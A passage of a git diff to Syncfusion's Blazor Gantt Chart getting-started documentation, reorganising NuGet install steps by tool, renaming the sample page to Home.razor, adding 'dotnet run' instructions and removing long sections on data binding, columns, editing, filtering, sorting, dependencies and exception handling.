-{% endhighlight %}
-{% endtabs %}
+1. Open the terminal (Visual Studio Code) or command prompt (.NET CLI) and navigate to the `Client` project folder.
+2. Run the following command:
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5"  %}
+    ```
+    dotnet run
+    ```
+3. The application will start and display in your default web browser.
 
 ## See also
 
diff --git a/blazor/gantt-chart/getting-started.md b/blazor/gantt-chart/getting-started.md
index ed6661090d..93d2731d63 100644
--- a/blazor/gantt-chart/getting-started.md
+++ b/blazor/gantt-chart/getting-started.md
@@ -25,6 +25,19 @@ This section briefly explains about how to include [Syncfusion<sup style="font-s
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) using the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution) or the Package Manager Console:
+
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
+
+Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -50,6 +63,19 @@ cd BlazorApp
 
 {% endtabs %}
 
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the integrated terminal. Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>):
+
+{% tabs %}
+{% highlight c# tabtitle=".NET CLI" %}
+
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -79,39 +105,24 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-{% endtabcontent %}
-
-{% endtabcontents %}
-
 ## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
-
-Alternatively, run the following commands in the Package Manager Console to achieve the same.
+Install [Syncfusion.Blazor.Gantt](https://www.nuget.org/packages/Syncfusion.Blazor.Gantt) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the .NET CLI.
 
 {% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
+{% highlight c# tabtitle=".NET CLI" %}
 
-Install-Package Syncfusion.Blazor.Gantt -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Gantt --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
-
-## Add import namespaces
-
-After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Gantt` namespaces.
-
-{% tabs %}
-{% highlight C# tabtitle="~/_Imports.razor" %}
+{% endtabcontent %}
 
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Gantt
+{% endtabcontents %}
 
-{% endhighlight %}
-{% endtabs %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
@@ -133,6 +144,9 @@ builder.Services.AddSyncfusionBlazor();
 
 The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
+- Add the **stylesheet reference inside the `<head>` tag** of the `index.html` file.
+- Add the **script reference inside the `<body>` tag** of the `index.html` file.
+
 ```html
 
 <link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
@@ -145,10 +159,10 @@ N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/app
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component in the **~/Pages/Index.razor** file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component in the **~/Pages/Home.razor** file.
 
 {% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
+{% highlight razor tabtitle="Home.razor" %}
 
 @using Syncfusion.Blazor.Gantt
 
@@ -195,420 +209,21 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart comp
 {% endhighlight %}
 {% endtabs %}
 
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This renders the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Gantt Chart component in the default web browser.
-
 {% previewsample "https://blazorplayground.syncfusion.com/embed/VthyWNVzLgvAOlvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
 
-## Binding Gantt Chart with data and mapping task fields
-
-Bind data with the Gantt Chart component by using the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_DataSource) property. It accepts the list objects or the DataManager instance. 
-
-Additionally, task-related fields from the data source are mapped to the Gantt Chart component using the [GanttTaskFields](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html) property. This property ensures that the necessary task fields, such as [Id](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Id), [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Name), [StartDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_StartDate), [EndDate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_EndDate), [Duration](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Duration), and [ParentID](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_ParentID) are properly linked to the corresponding data source fields, allowing the Gantt Chart to render tasks accurately. The columns in the Gantt Chart are automatically rendered based on the properties specified in `GanttTaskFields`, ensuring that the necessary columns are displayed to represent the task data.
-
-This following sample shows self-referential data binding in the Gantt Chart by mapping the data source fields to the `Id` and `ParentID` properties. For more detailed information, refer to the [documentation](https://blazor.syncfusion.com/documentation/gantt-chart/data-binding#self-referential--flat-data-binding).
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjLeMZLfLAFkPmGF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-## Defining columns
-
-The Gantt Chart has an option to define columns using the [GanttColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumns.html) component. To configure each column, use the following properties:
-
-* [Field](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Field): Maps the data source fields to the columns.
-* [HeaderText](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_HeaderText): Changes the title of columns.
-* [TextAlign](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_TextAlign): Changes the alignment of columns. By default, columns will be left aligned. To change the columns to right align, set `TextAlign` to right.
-* [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Format): Formats the number and date values to standard or custom formats. Here, it is defined for the conversion of numeric values to currency.
-* [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Visible): Show or hide a particular column. By default, columns are visible. Set this property to **false** to hide the column or **true** to make it visible.
-* [Width](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttColumn.html#Syncfusion_Blazor_Gantt_GanttColumn_Width): To specify the width of the column, which can be defined in **pixels** or as a **percentage** of the total column width.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Grids
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttColumns>
-        <GanttColumn Field="TaskID" HeaderText="Task ID" TextAlign="Syncfusion.Blazor.Grids.TextAlign.Right" Width="100"></GanttColumn>
-        <GanttColumn Field="TaskName" HeaderText="Task Name" Width="250"></GanttColumn>
-        <GanttColumn Field="StartDate" HeaderText="Start Date" Width="250"></GanttColumn>
-        <GanttColumn Field="Duration" HeaderText="Duration" Width="250"></GanttColumn>
-        <GanttColumn Field="Progress" HeaderText="Progress" Format="@NumberFormat" Width="250"></GanttColumn>
-    </GanttColumns>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    private string NumberFormat = "C";
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-For further details regarding columns, refer [here](https://blazor.syncfusion.com/documentation/gantt-chart/columns).
-
-## Enable editing
-
-The editing feature enables you to edit the tasks in the Gantt Chart component. To activate this functionality, set both [EditSettings.AllowEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowEditing) and [EditSettings.AllowTaskbarEditing](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEditSettings.html#Syncfusion_Blazor_Gantt_GanttEditSettings_AllowTaskbarEditing)  properties to **true**.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEditSettings AllowEditing="true" Mode="Syncfusion.Blazor.Gantt.EditMode.Auto" AllowTaskbarEditing="true"></GanttEditSettings>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZLeWDVzBAiIgBkv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-N> When the edit mode is set to `Auto`, you can change the cells to editable mode by double-clicking anywhere at the Tree Grid and edit the task details in the edit dialog by double-clicking anywhere at the chart.
-
-You can find the full information regarding Editing from [here](https://blazor.syncfusion.com/documentation/gantt-chart/managing-tasks)
-
-## Enable filtering
-
-The filtering feature enables you to view the reduced amount of records based on filter criteria. The Gantt Chart supports column-wise menu filtering. To enable this feature, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowFiltering) property to **true**. The filtering behavior can be customized using the [FilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_FilterSettings) property.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowFiltering="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rjheMNhfrqtjOYfG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Filtering from [here](https://blazor.syncfusion.com/documentation/gantt-chart/filtering)
-
-## Enable sorting
-
-The sorting feature enables you to order the records. To enable sorting in the Gantt Chart, set the [AllowSorting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_AllowSorting) property to **true**. The sorting behavior can be customized using the [SortSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.SfGantt-1.html#Syncfusion_Blazor_Gantt_SfGantt_1_SortSettings) property to define the sorting configuration.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
+### Run the application
 
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px" AllowSorting="true">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-</SfGantt>
+**Visual Studio**:
 
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    private static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>()
-        {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 01, 04), EndDate = new DateTime(2022, 01, 07), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 01, 04), Duration = "4", Progress = 40, ParentID = 1, },
-            new TaskData() { TaskID = 4, TaskName = "Soil test approval", StartDate = new DateTime(2022, 01, 04), Duration = "0", Progress = 30, ParentID = 1, },
-            new TaskData() { TaskID = 5, TaskName = "Project estimation", StartDate = new DateTime(2022, 01, 06), EndDate = new DateTime(2022, 01, 10), },
-            new TaskData() { TaskID = 6, TaskName = "Develop floor plan for estimation", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 30, ParentID = 5, },
-            new TaskData() { TaskID = 7, TaskName = "List materials", StartDate = new DateTime(2022, 01, 06), Duration = "3", Progress = 40, ParentID = 5, },
-            new TaskData() { TaskID = 8, TaskName = "Estimation approval", StartDate = new DateTime(2022, 01, 06), Duration = "0", Progress = 30, ParentID = 5, }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLeCZLJVrvlKPai?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Sorting from [here](https://blazor.syncfusion.com/documentation/gantt-chart/sorting)
-
-## Enabling Predecessors or task relationships
-
-The Gantt Chart component supports task dependencies to define the logical sequence of task execution. These relationships control the scheduling behavior between tasks based on their start and finish times.
-
-- **Start to Start (SS)**: The successor task begins when the predecessor task begins.
-- **Start to Finish (SF)**: The successor task finishes when the predecessor task begins.
-- **Finish to Start (FS)**: The successor task begins when the predecessor task finishes.
-- **Finish to Finish (FF)**: The successor task finishes when the predecessor task finishes.
-
-These relationships can be configured using the [Dependency](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttTaskFields.html#Syncfusion_Blazor_Gantt_GanttTaskFields_Dependency) property in the task data.
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor.Gantt
-
-<SfGantt DataSource="@TaskCollection" Height="450px" Width="700px">
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration" Progress="Progress" ParentID="ParentID" Dependency="Predecessor">
-    </GanttTaskFields>
-</SfGantt>
-
-@code{
-    private List<TaskData> TaskCollection { get; set; }
-    protected override void OnInitialized()
-    {
-        this.TaskCollection = GetTaskCollection();
-    }
-
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime StartDate { get; set; }
-        public DateTime EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public string Predecessor { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public static List<TaskData> GetTaskCollection()
-    {
-        List<TaskData> Tasks = new List<TaskData>() {
-            new TaskData() { TaskID = 1, TaskName = "Project initiation", StartDate = new DateTime(2022, 04, 05), EndDate = new DateTime(2022, 04, 21), },
-            new TaskData() { TaskID = 2, TaskName = "Identify Site location", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1 },
-            new TaskData() { TaskID = 3, TaskName = "Perform soil test", StartDate = new DateTime(2022, 04, 05), Duration = "4", Progress = 50, ParentID = 1, Predecessor = "2" }
-        };
-        return Tasks;
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrSsXrzhfcIfBtG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
-
-You can find the full information regarding Predecessors from [here](https://blazor.syncfusion.com/documentation/gantt-chart/task-dependencies)
-
-## Handling exceptions
-
-Exceptions triggered during Gantt operations can be handled effectively without interrupting the application. These errors are captured using the [OnActionFailure](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Gantt.GanttEvents-1.html#Syncfusion_Blazor_Gantt_GanttEvents_1_OnActionFailure) event, which provides detailed information returned from the server. This allows for appropriate handling, logging, or user notification without affecting the overall workflow.
-
-N> We recommend you bind the `OnActionFailure` event during your application development phase, this helps you to find any exceptions. You can pass these exception details to our support team to get a solution as early as possible.
-
-The following sample code demonstrates notifying user when server-side exception has occurred during data operation,
-
-{% tabs %}
-{% highlight razor tabtitle="Index.razor" %}
-
-@using Syncfusion.Blazor
-@using Syncfusion.Blazor.Data
-@using Syncfusion.Blazor.Gantt
-@using Syncfusion.Blazor.Grids
-
-<label class="error" style="display:block; color: red; margin-bottom: 20px;">@ErrorDetails</label>
-<SfGantt TValue="TaskData" Height="450px" Width="700px">
-     <SfDataManager Url="https://some.com/invalidUrl" Adaptor="Adaptors.UrlAdaptor"></SfDataManager>
-    <GanttTaskFields Id="TaskID" Name="TaskName" StartDate="StartDate" EndDate="EndDate" Duration="Duration"
-        Progress="Progress" ParentID="ParentID">
-    </GanttTaskFields>
-    <GanttEvents TValue="TaskData" OnActionFailure="ActionFailure"></GanttEvents>
-</SfGantt>
-
-@code{
-    private string ErrorDetails = "";
-    public class TaskData
-    {
-        public int TaskID { get; set; }
-        public string TaskName { get; set; }
-        public DateTime? StartDate { get; set; }
-        public DateTime? EndDate { get; set; }
-        public string Duration { get; set; }
-        public int Progress { get; set; }
-        public int? ParentID { get; set; }
-    }
-
-    public void ActionFailure(Syncfusion.Blazor.Grids.FailureEventArgs args)
-    {
-        this.ErrorDetails = args.Error.Message.ToString();
-        StateHasChanged();
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. The Blazor Gantt Chart component will render in your default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrosNrTBJxCLRgJ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" %}
+**Visual Studio Code or .NET CLI**:
 
-N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/GanttChart).
+1. Open a terminal in the project directory and run the following command:
+    ```
+    dotnet run
+    ```
+2. The application will start and display in your default web browser.
 
 ## See also
 
diff --git a/blazor/gantt-chart/how-to/blazor-webassembly-gantt-using-visual-studio.md b/blazor/gantt-chart/how-to/blazor-webassembly-gantt-using-visual-studio.md
index fbbcc55a3c..392d674f02 100644
--- a/blazor/gantt-chart/how-to/blazor-webassembly-gantt-using-visual-studio.md
+++ b/blazor/gantt-chart/how-to/blazor-webassembly-gantt-using-visual-studio.md
@@ -463,4 +463,4 @@ You can find the full information regarding Predecessors from [here](https://bla
 
 ## Blazor WASM Gantt Chart Demonstration Video
 
-![Blazor Gantt Chart](../images/blazor-gantt-chart.gif)
